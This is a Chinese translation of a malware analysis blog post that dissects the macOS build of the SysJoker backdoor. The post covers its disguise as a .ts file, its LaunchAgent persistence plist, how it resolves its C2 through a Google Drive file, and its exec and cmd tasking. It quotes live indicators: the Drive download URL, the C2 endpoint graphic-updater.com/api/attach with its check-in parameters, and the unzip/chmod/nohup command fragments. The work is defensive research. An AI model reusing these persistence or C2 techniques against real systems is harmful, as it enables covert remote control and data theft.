深入分析跨平台恶意软件SysJoker

匿名者  126天前

背景介绍

今天早些时候(111日),Intezer的研究人员发表了一份题为“新发现的SysJoker后门可以横跨WindowsLinuxmacOS平台”的报告。

在这份报告中,他们详细介绍了他们命名为SysJoker的一种新的跨平台后门。虽然该后面最初是在Linux上发现的,但Intezer的研究人员随后不久也发现了WindowsMac版本:

SysJoker最早是在一次针对某领先教育机构基于LinuxWeb服务器的主动攻击中被发现的。经过进一步调查,我们发现SysJoker还有Mach-OWindows PE版本。”——Intezer 

由于他们的报告主要集中在Windows版本上,所以,本文将以他们优秀的研究为参考,深入研究SysJokermacOS版本。

获取样本

Intezer的分析报告为macOS版本的sysjoker提供了一个哈希值:1a9a5c797777f37463b44de2b49a7f95abca786db3977dcdac0f79da739c08ac。

VirusTotal上,我们发现了该恶意二进制文件的一个副本,并注意到它是在2021-12-21首次提交的,并且检出率为0

 1.png

SysJokermacOS)在VirusTotal网站上的检出率

不过好消息是,现在反病毒引擎已经开始将其标记为恶意代码。 

接下来,我们将对这个样本进行深入研究。

该文件被命名为types-config.ts,根据其文件扩展名.ts来看,它是伪装成了一个视频文件(准确来说是一个视频传输流文件)。

1.png 

……我不是恶意软件,真的?!

使用macOS的内置file命令,我们可以看到,实际上这是一个通用的mach-O类型二进制文件,其中包含Intelarm64架构的二进制版本:

% file SysJoker/types-config.ts

SysJoker/types-config.ts: Mach-O universalbinary with 2 architectures:

[x86_64:Mach-O 64-bit executable x86_64] /[arm64:Mach-O 64-bit executable arm64]

 

SysJoker/types-config.ts (for architecturex86_64):  Mach-O 64-bit executable x86_64

SysJoker/types-config.ts (for architecturearm64):   Mach-O 64-bit executable arm64

其中,arm64版本可确保该恶意软件能够在AppleSiliconM1)系统上面以本机代码运行。

WhatsYourSign(我的开源实用程序,用于通过UI显示代码签名信息)显示,这个二进制文件是带有签名的,尽管是临时签名:

 1.png

SysJoker已签名,尽管是临时的

此外,您还可以使用macOScodesign实用程序(注意flags=0x2(adhoc))检查其签名:

% codesign -dvvSysJoker/types-config.ts 

 

SysJoker/types-config.ts

Identifier=test-555549448174817ef4cf398d975b7860466eaec7

Format=Mach-O universal (x86_64 arm64)

CodeDirectory v=20400 size=1510flags=0x2(adhoc) hashes=36+7 location=embedded

Signature=adhoc

Info.plist=not bound

TeamIdentifier=not set

Sealed Resources=none

Internal requirements count=0 size=12

现在,让我们运行string程序来提取二进制代码中嵌入的(ASCII)字符串: 

% strings - SysJoker/types-config.ts  

updateSystem

updateMacOs

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBg...zy0eF1HqtBNbkXiQ6SSbquuvFPUepqUEjUSQIDAQAB

 

whoami

/Users/

/Library/MacOsServices

/Library/SystemNetwork

https://drive.google.com/uc?export=download&id=1W64PQQxrwY3XjBnv_QAeBQu-ePr537eu

/Library/LaunchAgents

/Library/LaunchAgents/com.apple.update.plist

<?xml version="1.0"encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC"-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>

<key>Label</key>

<string>com.apple.update</string>

       <key>LimitLoadToSessionType</key>

       <string>Aqua</string>

<key>ProgramArguments</key>

<array>

<string>

</string>

</array>

<key>KeepAlive</key>

       <dict>

          <key>SuccessfulExit</key>

          <true/>

       </dict>

       <key>RunAtLoad</key>

       <true/>

</dict>

</plist>

0123456789ABCDEFGHIJKLMNOPQRTUVWXYZabcdefghijklmnopqrstuvwxyz

.zip

unzip -o '

' -d '

chmod 0777 '

nohup '

' >/dev/null 2>&1 &

Mozilla/5.0 (Macintosh; Intel Mac OS X10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2Safari/605.1.15

response:

domain

serial=

&name=

&os=

&anti=

&ip=

&user_token=987217232

... 

工具strings的输出内容包括:

  •     各种命令,如:whoamiunzipchmod等。
  •     各种路径:/Library/MacOsServices/Library/LaunchAgents/com.apple.update.plist,等等。
  •     一个内嵌的URLhttps://drive.google.com/uc?...
  •     一个内嵌的启动项属性列表模板(com.apple.update.plist),可能是为了实现持久性访问。
  •     各种参数:name=os=ip=,等等。
  •     解密密钥:MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBg...

如何实现持久性

由于这个恶意软件似乎是用C++语言编写的,所以,让我们从使用各种静态分析工具开始观察它的行为。首先,我们将考察它是如何实现持久性的。

通过我的ProcessMonitor,我们可以观察到这个恶意软件的许多行为,例如在最初运行时,它将自己作为updateMacOs复制到用户的库/macosservices/目录……然后启动该副本:

#ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty

...

{

 "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",

 "process" : {

   ...

   "arguments" : [

     "cp",

     "./types-config.ts",

     "/Users/user/Library/MacOsServices/updateMacOs"

   ],

   "path" : "/bin/cp",

   "name" : "cp",

   "pid" : 1404

  }

  ...

}

 

{

 "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",

 "process" : {

   ...

   "arguments" : [

     "sh",

     "-c",

     "nohup '/Users/user/Library/MacOsServices/updateMacOs'>/dev/null 2>&1 &"

   ],

   "path" : "/bin/bash",

   "name" : "bash",

   "pid" : 1405

  }

  ...

}

由于我们安装了BlockBlock,它检测到了试图实现持久性的恶意软件。

 1.png

SysJoker的持久性

如果我们允许恶意软件实现持久性,我们就可以查看它创建的属性列表,即com.apple.update.plist

% cat~/Library/LaunchAgents/com.apple.update.plist                               

<?xml version="1.0"encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC"-//Apple//DTD PLIST 1.0//EN""http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>

   <key>Label</key>

   <string>com.apple.update</string>

       <key>LimitLoadToSessionType</key>

       <string>Aqua</string>

   <key>ProgramArguments</key>

   <array>

       <string>/Users/user/Library/MacOsServices/updateMacOs</string>

   </array>

   <key>KeepAlive</key>

   <dict>

       <key>SuccessfulExit</key>

       <true/>

   </dict>

   <key>RunAtLoad</key>

   <true/>

</dict>

</plist> 

我们可以看到,启动代理plist指向恶意软件的副本:/Users/user/Library/MacOsServices/updateMacOs。并且,当RunAtLoad键设置为true时,恶意软件将在用户每次登录时重新启动。

C2服务器通信

Intezer指出,一旦该恶意软件实现了持久性,它将:

“通过解码从Google Drive上托管的文本文件中获取的字符串来生成其C2。”——Intezer 

前面在运行strings实用程序时,我们就提取过这个文件的地址: https://drive.google.com/uc?export=download&id=1W64PQQxrwY3XjBnv_QAeBQu-ePr537eu

由于我们安装了免费macOS防火墙LuLu,所以当恶意软件试图下载这个文件时,我们会收到警报。注意,LuLu警报中的IP地址142.250.72.174将映射为GoogleURL(例如drive.Google.com): 1.png

SysJoker连接到Google(drive)以生成C2服务器

该恶意软件通过curl API进行网络通信。例如,在调试器中,我们可以观察到它用CURLOPT_URL(0x2712)调用curl_easy_setopt,上面提到的Google driveURL为:

Process 1424 stopped

* thread #1, queue = 'com.apple.main-thread'

 

libcurl.4.dylib`curl_easy_setopt:

-> 0x7fff6543dff7 <+0>: pushq  %rbp

 

Target 0: (updateMacOs) stopped.

(lldb) reg read $rsi

rsi = 0x2712

 

(lldb) x/s $rdx

0x7fda91c08ba0: "https://drive.google.com/uc?export=download&id=1W64PQQxrwY3XjBnv_QAeBQu-ePr537eu" 

由于这个URL仍然有效,所以我们可以手动下载该文件(domain.txt):

cat ~/Downloads/domain.txt

 

NmsjCSAgWSlhaVMvJz0SQH5+aiUzMCUpKFdqOzEgIjYMI2UhCDxmFg== 

其中,嵌入的base64编码字符串nmsjcsagwslhavmvj...mfg==将解码为二进制数据,其作用如Intezer指出的那样,这些二进制数据将用于“生成其C2”。

如他们的报告所示,我们可以对该字符串进行base64解码,然后将其与嵌入的密钥MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBg...zy0eF1HqtBNbkXiQ6SSbquuvFPUepqUEjUSQIDAQAB进行异或运算,就能得到其C2服务器的域名(结果为graphic-updater.com): 1.png

解密(当前)的C2服务器

此外,我们也可以让恶意软件继续在调试器中运行,这样也能发现其C2服务器:

(lldb) x/s $rdx

0x7fda91cafe60:"https://graphic-updater.com/api/attach"

通过转储传递给curl_easy_setopt的其他调用的参数,我们可以看到该恶意软件将其用户代理设置为“Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15”。我们还可以转储这些综述信息,它们将在其初始签到时发送给C2服务器: 

(lldb) x/s $rdx

0x7fda91cafef0: "serial=user_x&name=user&os=os&anti=av&ip=ip&user_token=987217232"

虽然这个(简短的)综述信息包含了登录用户的名字(我的analyis虚拟机上的用户名),但其他字段似乎并没有设置(ip=ip),或者是硬编码的(别忘了,987217232是作为一个嵌入式字符串提取出来的)。

我们可以将URL graphic-updater.com解析为23.254.131.176

 nslookup graphic-updater.com

Server:    192.168.86.1

Address:   192.168.86.1#53

 

Non-authoritative answer:

Name:  graphic-updater.com

Address: 23.254.131.176

……它似乎仍然在线,并且是“开放”的?

 1.png

SysJokerC2服务器?

支持的命令

Intezer报告指出,该恶意软件的所有版本(LinuxWindowsMac)都支持名为execcmd的命令。

    [exec]命令负责投递和运行一个可执行文件。SysJoker将收到一个zip文件的URL、文件应该投递到的路径目录以及恶意软件应该在提取的可执行文件上使用的文件名。它将下载这个文件,解压缩并执行。”

    [cmd]命令负责运行一个命令并将其响应上传到C2。” ——Intezer

通过反汇编Mac版的SysJoker,我们发现函数(0x0000000100005F80)负责解析来自C2服务器的任务,包括前面提到的execcmd命令。

首先,是exec命令:

 1intsub_100005f80(...) {

 2   

 3    rax= std::__1::basic_string<char, std::__1::char_traits<char>,std::__1::allocator<char> >::compare(&var_E0, 0x0,0xffffffffffffffff, "exe", 0x3);

 4    if(rax == 0x0) goto handleExec;

 5    ...

 6

 7handleExec:

 8

 9  rax =sub_100004e76(&var_60, "url");

10 rax = sub_100004e76(&var_60, "dir");

11 rax = sub_100004e76(&var_60, "name");

12 ...    

13   

14}

在上面的反汇编中,您可以看到,当该恶意软件使用exec命令时,它会首先提取命令的参数(urldirname等)。

然后,它会解压缩下载的可执行文件,并执行它。该任务是通过sub_100003995函数实现的,该函数将调用:

  • unzip-o,解压缩可执行文件;
  • chmod 0777,更改权限(针对解压后的可执行文件);
  • system,执行二进制文件。

而函数(0x0000000100005F80)还负责处理cmd命令:

 1intsub_100005f80(...) {

 2   

 3    ...

 4

 5    rax= std::__1::basic_string<char, std::__1::char_traits<char>,std::__1::allocator<char> >::compare(&var_E0, 0x0,0xffffffffffffffff, "cmd", 0x3);

 6    if(rax == 0x0) {

 7    ...

 8    rax= sub_100004e76(&var_60, "command");

 9    ...

10      

11} 

在提取了命令参数后,它似乎(通过一个在0x000000010000256b处发现的辅助函数)调用了popen API,来执行该命令。正如Intezer所指出的,命令的执行结果将被上传到C2服务器。

SysJoker与objective-See

每当有新的恶意软件被发现时,我都想看看objective-See的免费开源工具能否检测出来。

好消息(其实也不奇怪)是,它们能够检测并拦截这个新的威胁,即使对该恶意软件并没有先验的知识!

让我们来看看它是如何做到的。

首先,BlockBlock检测到了恶意软件的启动代理的持久性企图(com.apple.update.plist)。 1.png

BlockBlock警报

LuLu,我们免费的开源防火墙,在恶意软件第一次试图通过信标来获取C2服务器的加密地址时就发出了警报: 1.png

LuLu警报

如果想知道自己是否已经被感染,该怎么办?KnockKnock可以(事后)发现该恶意软件的持久性线索。 1.png

KnockKnock检测

小结

在这篇博文中,我们深入研究了macOS版本的恶意软件SysJoker,这是一个跨平台的后门软件。我们在Intezer报告的基础上,深入研究了其macOS版本,并重点考察了其:

  •     持久性的实现方式;
  •     C&C通信方式;
  •     所支持的命令。

最后,我们通过实践证明,只要您的系统上面运行了objective-See的免费macOS工具,该恶意软件就不会得逞!

 

本文由secM整理并翻译,不代表白帽汇任何观点和立场
原文地址:https://objective-see.com/blog/blog_0x6C.html

最新评论

昵称
邮箱
提交评论